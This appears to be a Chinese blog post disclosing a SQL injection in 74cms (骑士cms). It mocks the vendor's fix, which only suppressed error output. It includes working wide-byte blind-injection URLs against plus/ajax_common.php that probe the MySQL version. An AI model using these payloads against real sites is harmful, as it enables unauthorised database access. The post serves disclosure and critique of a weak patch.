骑士cms最新全局SQL注入(官方奇葩修复案例)

这个漏洞,我们看看骑士怎么修复的

http://wwwcto2uploudpic/Article/201412/359995.html

首先试试带入单引号,用宽字节试试,可以看到显示数据库出错

 






看看数据库怎么带入的吧



可以看到出错了,单引号被带入sql语句了




居然还可以注入,没有过滤



找到/include/mysql.class.php中最下面

function dbshow($err)

	{

    	if($err){

    		$info = "Error:".$err;			

    	}else{

    		$info = "Errno:".$this->errno()." Error:".$this->error();

    	}

    	//exit($info);

        exit("数据库错误,请联系网站管理员!");

    }



只是把显错换成了数据库错误,请联系网站管理员!

这种修复方式我也是醉了,虽然是改了显错,但是我们的语句还是可以执行的,可以用盲注


http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2050--%20a

这样猜解数据库版本第一位是0到5之间,返回内容


http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2040--%20a


这样猜解数据库版本第一位是0到4之间,返回空白

因为mysql是5.0以上的版本

解决方案:

过滤

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值